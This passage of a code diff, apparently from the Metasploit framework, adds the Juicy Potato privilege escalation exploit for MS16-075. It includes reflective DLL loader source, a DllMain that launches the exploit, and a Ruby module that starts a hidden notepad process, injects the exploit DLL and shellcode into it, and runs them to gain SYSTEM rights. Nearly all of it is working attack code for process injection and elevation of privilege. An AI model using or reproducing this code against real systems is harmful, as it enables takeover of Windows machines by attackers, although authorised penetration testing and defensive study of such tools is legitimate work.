sizeof(DWORD)); + + // store this functions VA + if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) + pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray)); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + + // we stop searching when we have found everything we need. + if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache) + break; + + // get the next entry + uiValueA = DEREF(uiValueA); + } + + // STEP 2: load our image into a new permanent location in memory... + + // get the VA of the NT Header for the PE to be loaded + uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // allocate all the memory for the DLL to be loaded into. we can load at any address because we will + // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. + uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + // we must now copy over the headers + uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; + uiValueB = uiLibraryAddress; + uiValueC = uiBaseAddress; + + while (uiValueA--) + *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; + + // STEP 3: load in all of our sections... + + // uiValueA = the VA of the first section + uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader); + + // itterate through all sections, loading them into memory. + uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; + while (uiValueE--) + { + // uiValueB is the VA for this section + uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress); + + // uiValueC if the VA for this sections data + uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData); + + // copy the section over + uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; + + while (uiValueD--) + *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; + + // get the VA of the next section + uiValueA += sizeof(IMAGE_SECTION_HEADER); + } + + // STEP 4: process our images import table... + + // uiValueB = the address of the import directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + + // we assume their is an import table to process + // uiValueC is the first entry in the import table + uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); + + // itterate through all imports + while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name) + { + // use LoadLibraryA to load the imported module into memory + uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); + + // uiValueD = VA of the OriginalFirstThunk + uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk); + + // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) + uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk); + + // itterate through all imported functions, importing by ordinal if no name present + while (DEREF(uiValueA)) + { + // sanity check uiValueD as some compilers only import by FirstThunk + if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG) + { + // get the VA of the modules NT Header + uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); + + // get the VA for the array of addresses + uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD)); + + // patch in the address for this imported function + DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray)); + } + else + { + // get the VA of this functions import by name struct + uiValueB = (uiBaseAddress + DEREF(uiValueA)); + + // use GetProcAddress and patch in the address for this imported function + DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); + } + // get the next imported function + uiValueA += sizeof(ULONG_PTR); + if (uiValueD) + uiValueD += sizeof(ULONG_PTR); + } + + // get the next import + uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR); + } + + // STEP 5: process all of our images relocations... + + // calculate the base address delta and perform relocations (even if we load at desired image base) + uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; + + // uiValueB = the address of the relocation directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + + // check if their are any relocations present + if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size) + { + // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) + uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); + + // and we itterate through all entries... + while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock) + { + // uiValueA = the VA for this relocation block + uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress); + + // uiValueB = number of entries in this relocation block + uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); + + // uiValueD is now the first entry in the current relocation block + uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); + + // we itterate through all the entries in the current block... + while (uiValueB--) + { + // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. + // we dont use a switch statement to avoid the compiler building a jump table + // which would not be very position independent! + if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64) + *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW) + *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; +#ifdef WIN_ARM + // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T) + { + register DWORD dwInstruction; + register DWORD dwAddress; + register WORD wImm; + // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) + dwInstruction = *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)); + // flip the words to get the instruction as expected + dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); + // sanity chack we are processing a MOV instruction... + if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT) + { + // pull out the encoded 16bit value (the high portion of the address-to-relocate) + wImm = (WORD)(dwInstruction & 0x000000FF); + wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); + wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); + wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); + // apply the relocation to the target address + dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF; + // now create a new instruction with the same opcode and register param. + dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2); + // patch in the relocated address... + dwInstruction |= (DWORD)(dwAddress & 0x00FF); + dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; + dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; + dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; + // now flip the instructions words and patch back into the code... + *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); + } + } +#endif + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); + + // get the next entry in the current relocation block + uiValueD += sizeof(IMAGE_RELOC); + } + + // get the next entry in the relocation directory + uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; + } + } + + // STEP 6: call our images entry point + + // uiValueA = the VA of our newly loaded DLL/EXE's entry point + uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint); + + // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. + pNtFlushInstructionCache((HANDLE)-1, NULL, 0); + + // call our respective entry point, fudging our hInstance value +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR + // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) + ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter); +#else + // if we are injecting an DLL via a stub we call DllMain with no parameter + ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL); +#endif + + // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. + return uiValueA; +} +//===============================================================================================// +#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + BOOL bReturnValue = TRUE; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + if (lpReserved != NULL) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} + +#endif +//===============================================================================================// \ No newline at end of file diff --git a/external/source/exploits/juicypotato/JuicyPotato/ReflectiveLoader.h b/external/source/exploits/juicypotato/JuicyPotato/ReflectiveLoader.h new file mode 100644 index 0000000000..c66d517911 --- /dev/null +++ b/external/source/exploits/juicypotato/JuicyPotato/ReflectiveLoader.h @@ -0,0 +1,204 @@ +#pragma once +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include + +#include "ReflectiveDLLInjection.h" + +typedef HMODULE(WINAPI * LOADLIBRARYA)(LPCSTR); +typedef FARPROC(WINAPI * GETPROCADDRESS)(HMODULE, LPCSTR); +typedef LPVOID(WINAPI * VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); +typedef DWORD(NTAPI * NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG); + +#define KERNEL32DLL_HASH 0x6A4ABC5B +#define NTDLLDLL_HASH 0x3CFA685D + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 +#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 + +#define IMAGE_REL_BASED_ARM_MOV32A 5 +#define IMAGE_REL_BASED_ARM_MOV32T 7 + +#define ARM_MOV_MASK (DWORD)(0xFBF08000) +#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) +#define ARM_MOVW 0xF2400000 +#define ARM_MOVT 0xF2C00000 + +#define HASH_KEY 13 +//===============================================================================================// +#pragma intrinsic( _rotr ) + +__forceinline DWORD ror(DWORD d) +{ + return _rotr(d, HASH_KEY); +} + +__forceinline DWORD hash(char * c) +{ + register DWORD h = 0; + do + { + h = ror(h); + h += *c; + } while (*++c); + + return h; +} +//===============================================================================================// +typedef struct _UNICODE_STR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR pBuffer; +} UNICODE_STR, *PUNICODE_STR; + +// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY +//__declspec( align(8) ) +typedef struct _LDR_DATA_TABLE_ENTRY +{ + //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +// WinDbg> dt -v ntdll!_PEB_LDR_DATA +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, *PPEB_LDR_DATA; + +// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes +{ + struct _PEB_FREE_BLOCK * pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK; + +// struct _PEB is defined in Winternl.h but it is incomplete +// WinDbg> dt -v ntdll!_PEB +typedef struct __PEB // 65 elements, 0x210 bytes +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STR usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} _PEB, *_PPEB; + +typedef struct +{ + WORD offset : 12; + WORD type : 4; +} IMAGE_RELOC, *PIMAGE_RELOC; +//===============================================================================================// +#endif +//===============================================================================================// \ No newline at end of file diff --git a/external/source/exploits/juicypotato/JuicyPotato/dllmain.cpp b/external/source/exploits/juicypotato/JuicyPotato/dllmain.cpp new file mode 100644 index 0000000000..2d5efff985 --- /dev/null +++ b/external/source/exploits/juicypotato/JuicyPotato/dllmain.cpp @@ -0,0 +1,30 @@ +// dllmain.cpp : Defines the entry point for the DLL application. +#include "stdafx.h" +#include "ReflectiveLoader.h" +#include "MSFRottenPotato.h" + +extern "C" HINSTANCE hAppInstance; +EXTERN_C IMAGE_DOS_HEADER __ImageBase; + +BOOL WINAPI APIENTRY DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + switch (dwReason) + { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) + { + *(HMODULE *)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + EntryPoint(lpReserved); + break; + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} diff --git a/external/source/exploits/juicypotato/JuicyPotato/dump.stg b/external/source/exploits/juicypotato/JuicyPotato/dump.stg new file mode 100644 index 0000000000..1d58a19ae5 Binary files /dev/null and b/external/source/exploits/juicypotato/JuicyPotato/dump.stg differ diff --git a/external/source/exploits/juicypotato/JuicyPotato/stdafx.cpp b/external/source/exploits/juicypotato/JuicyPotato/stdafx.cpp new file mode 100644 index 0000000000..02ca4e02bb --- /dev/null +++ b/external/source/exploits/juicypotato/JuicyPotato/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// MSFRottenPotato.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/external/source/exploits/juicypotato/JuicyPotato/stdafx.h b/external/source/exploits/juicypotato/JuicyPotato/stdafx.h new file mode 100644 index 0000000000..677e68a9fa --- /dev/null +++ b/external/source/exploits/juicypotato/JuicyPotato/stdafx.h @@ -0,0 +1,16 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +// Windows Header Files: +#include + + + +// TODO: reference additional headers your program requires here diff --git a/external/source/exploits/juicypotato/JuicyPotato/targetver.h b/external/source/exploits/juicypotato/JuicyPotato/targetver.h new file mode 100644 index 0000000000..90e767bfce --- /dev/null +++ b/external/source/exploits/juicypotato/JuicyPotato/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/modules/exploits/windows/local/ms16_075_reflection_juicy.rb b/modules/exploits/windows/local/ms16_075_reflection_juicy.rb new file mode 100644 index 0000000000..40bd714e06 --- /dev/null +++ b/modules/exploits/windows/local/ms16_075_reflection_juicy.rb @@ -0,0 +1,198 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/post/windows/reflective_dll_injection' + +class MetasploitModule < Msf::Exploit::Local + Rank = GreatRanking + + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Post::Windows::FileInfo + include Msf::Post::Windows::ReflectiveDLLInjection + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Windows Net-NTLMv2 Reflection DCOM/RPC (Juicy)', + 'Description' => %q( + This module utilizes the Net-NTLMv2 reflection between DCOM/RPC + to achieve a SYSTEM handle for elevation of privilege. + It requires a CLSID string. + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'FoxGloveSec', # the original Potato exploit + 'breenmachine', # Rotten Potato NG! + 'decoder', # Lonely / Juicy Potato + 'ohpe', # Juicy Potato + 'phra', # MSF Module + 'lupman' # MSF Module + ], + 'Arch' => [ARCH_X86, ARCH_X64], + 'Platform' => 'win', + 'SessionTypes' => ['meterpreter'], + 'DefaultOptions' => + { + 'EXITFUNC' => 'none', + 'WfsDelay' => '20' + }, + 'Targets' => + [ + ['Automatic', {}] + #['Windows x86', { 'Arch' => ARCH_X86 }], + #['Windows x64', { 'Arch' => ARCH_X64 }] + ], + 'Payload' => + { + 'DisableNops' => true + }, + 'References' => + [ + ['MSB', 'MS16-075'], + ['CVE', '2016-3225'], + ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'], + ['URL', 'https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/'], + ['URL', 'https://github.com/breenmachine/RottenPotatoNG'], + ['URL', 'https://decoder.cloud/2017/12/23/the-lonely-potato/'], + ['URL', 'https://ohpe.it/juicy-potato/'] + ], + 'DisclosureDate' => 'Jan 16 2016', + 'DefaultTarget' => 0 + })) + + register_options( + [ + OptString.new('CLSID', [ true, 'Set CLSID value of the DCOM to trigger', '{4991d34b-80a1-4291-83b6-3328366b9097}' ]) + ]) + + register_advanced_options( + [ + OptAddress.new('RpcServerHost', [ true, 'Set RPC server target host', '127.0.0.1' ]), + OptPort.new('RpcServerPort', [ true, 'Set RPC server target port', 135 ]), + OptAddress.new('ListeningAddress', [ true, 'Set listening address for MITM DCOM communication', '127.0.0.1' ]), + OptPort.new('ListeningPort', [ true, 'Set listening port for MITM DCOM communication', 7777 ]), + OptString.new('LogFile', [ false, 'Set the log file' ]) + ]) + end + + def assign_target + if target.name == 'Automatic' + case sysinfo["Architecture"] + when 'x86' + vprint_status("Found we are on an x86 target") + my_target = targets[1] + when 'x64' + vprint_status("Found we are on an x64 target") + my_target = targets[2] + else + fail_with(Failure::NoTarget, "Unable to determine target") + end + else + my_target = target + end + return my_target + end + + # Creates a temp notepad.exe to inject payload in to given the payload + def create_temp_proc() + windir = client.sys.config.getenv('windir') + # Select path of executable to run depending the architecture + if sysinfo["Architecture"] == ARCH_X64 and client.arch == ARCH_X86 and @payload_arch.first == ARCH_X64 + cmd = "#{windir}\\Sysnative\\notepad.exe" + elsif sysinfo["Architecture"] == ARCH_X64 and client.arch == ARCH_X64 and @payload_arch.first == ARCH_X86 + cmd = "#{windir}\\SysWOW64\\notepad.exe" + else + cmd = "#{windir}\\System32\\notepad.exe" + end + begin + proc = client.sys.process.execute(cmd, nil, {'Hidden' => true}) + rescue Rex::Post::Meterpreter::RequestError + return nil + end + + return proc + end + + def create_temp_proc_stage2() + windir = client.sys.config.getenv('windir') + # Select path of executable to run depending the architecture + if sysinfo["Architecture"] == ARCH_X64 and @payload_arch.first == ARCH_X86 + cmd = "#{windir}\\SysWOW64\\notepad.exe" + else + cmd = "#{windir}\\System32\\notepad.exe" + end + return cmd + end + + def check + privs = client.sys.config.getprivs + win10build = client.sys.config.sysinfo['OS'].match /Windows 10 \(Build (\d+)\)/ + if win10build and win10build[1] > '17134' + return Exploit::CheckCode::Safe + end + win2019build = client.sys.config.sysinfo['OS'].match /Windows 2019 \(Build (\d+)\)/ + if win2019build and win2019build[1] > '17134' + return Exploit::CheckCode::Safe + end + if privs.include?('SeImpersonatePrivilege') + return Exploit::CheckCode::Appears + end + return Exploit::CheckCode::Safe + end + + def exploit + if is_system? + fail_with(Failure::None, 'Session is already elevated') + end + @payload_name = datastore['PAYLOAD'] + @payload_arch = framework.payloads.create(@payload_name).arch + my_target = assign_target + if check == Exploit::CheckCode::Safe + fail_with(Failure::NoAccess, 'User does not have SeImpersonate or SeAssignPrimaryToken Privilege') + end + if @payload_arch.first == ARCH_X64 + dll_file_name = 'juicypotato.x64.dll' + vprint_status("Assigning payload juicypotato.x64.dll") + elsif @payload_arch.first == ARCH_X86 + dll_file_name = 'juicypotato.x86.dll' + vprint_status("Assigning payload juicypotato.x86.dll") + else + fail_with(Failure::BadConfig, "Unknown target arch; unable to assign exploit code") + end + print_status('Launching notepad to host the exploit...') + notepad_process = create_temp_proc + cmd = create_temp_proc_stage2 + begin + process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) + print_good("Process #{process.pid} launched.") + rescue Rex::Post::Meterpreter::RequestError + print_error('Operation failed. Trying to elevate the current process...') + process = client.sys.process.open + end + print_status("Reflectively injecting the exploit DLL into #{process.pid}...") + library_path = ::File.join(Msf::Config.data_directory, "exploits", "juicypotato", dll_file_name) + library_path = ::File.expand_path(library_path) + print_status("Injecting exploit into #{process.pid}...") + exploit_mem, offset = inject_dll_into_process(process, library_path) + print_status("Exploit injected. Injecting exploit configuration into #{process.pid}...") + configuration = "#{datastore['LogFile']}\x00" + configuration += "#{cmd}\x00" + configuration += "#{datastore['CLSID']}\x00" + configuration += "#{datastore['ListeningPort']}\x00" + configuration += "#{datastore['RpcServerHost']}\x00" + configuration += "#{datastore['RpcServerPort']}\x00" + configuration += "#{datastore['ListeningAddress']}\x00" + configuration += "#{payload.encoded.length}\x00" + configuration += payload.encoded + payload_mem = inject_into_process(process, configuration) + # invoke the exploit, passing in the address of the payload that + # we want invoked on successful exploitation. + print_status('Configuration injected. Executing exploit...') + process.thread.create(exploit_mem + offset, payload_mem) + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') + end +end